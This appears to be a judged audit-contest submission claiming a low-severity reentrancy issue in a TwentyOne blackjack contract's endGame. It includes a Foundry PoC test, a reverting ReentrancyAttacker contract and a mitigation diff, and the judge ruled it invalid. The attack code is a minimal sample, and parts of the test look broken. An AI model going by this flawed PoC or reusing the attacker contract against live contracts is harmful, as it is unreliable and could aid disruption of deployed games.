TwentyOne

First Flight #29
Beginner FriendlyGameFiFoundrySolidity
100 EXP
View results
Submission Details
Severity: low
Invalid

Reentrancy in `TwentyPool:endGame`, transfering the prize before emiting the event.

Description: In the function TwentyPool:endGame, we are reseting the arrays and decks, after that , if the player won, we transfer the prize to him but after the transfer, it is emiting the event

Impact: If an external contract, like an Oracle or another type of contract, depends on this event, and a malicious user reentrant this contract, the event Will never be emitted.

Proof of Concept:

Proof of Code (PoC)

Paste this code into TwentyOneTest.t.sol

Here is the test:

function test_reentrancy_on_end_game() public {
ReentrancyAttacker reentrant = new ReentrancyAttacker(twentyOne);
vm.deal(address(reentrant), 10 ether);
vm.startPrank(address(reentrant));
reentrant.attack{value: 1 ether}();
vm.mockCall(
address(twentyOne),
abi.encodeWithSignature("dealersHand(address)", player1),
abi.encode(18) // Dealer's hand total is 18
);
vm.expectEmit();
emit FeeWithdrawn(address(reentrant), 2 ether);
twentyOne.call{gas: 1_000_000}();
vm.stopPrank();
vm.expectRevert(ReentrancyAttacker.ReentrancyAttacker__CantRecieveMoney.selector);
}
}

And here the attacker contract:

contract ReentrancyAttacker {
TwentyOne twentyOne;
error ReentrancyAttacker__CantRecieveMoney();
constructor(TwentyOne _twentyOne) {
twentyOne = _twentyOne;
}
function attack() public payable{
twentyOne.startGame{value: msg.value}();
}
function _reentrant() internal {
revert ReentrancyAttacker__CantRecieveMoney();
}
receive() external payable {
_reentrant();
}
fallback() external payable {
_reentrant();
}
}

Recommended Mitigation:

Execute the transfer, after emiting the event.

function endGame(address player, bool playerWon) internal {
delete playersDeck[player].playersCards;
delete dealersDeck[player].dealersCards;
delete availableCards[player];
if (playerWon) {
- payable(player).transfer(2 ether);
emit FeeWithdrawn(player, 2 ether);
+ payable(player).transfer(2 ether);
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.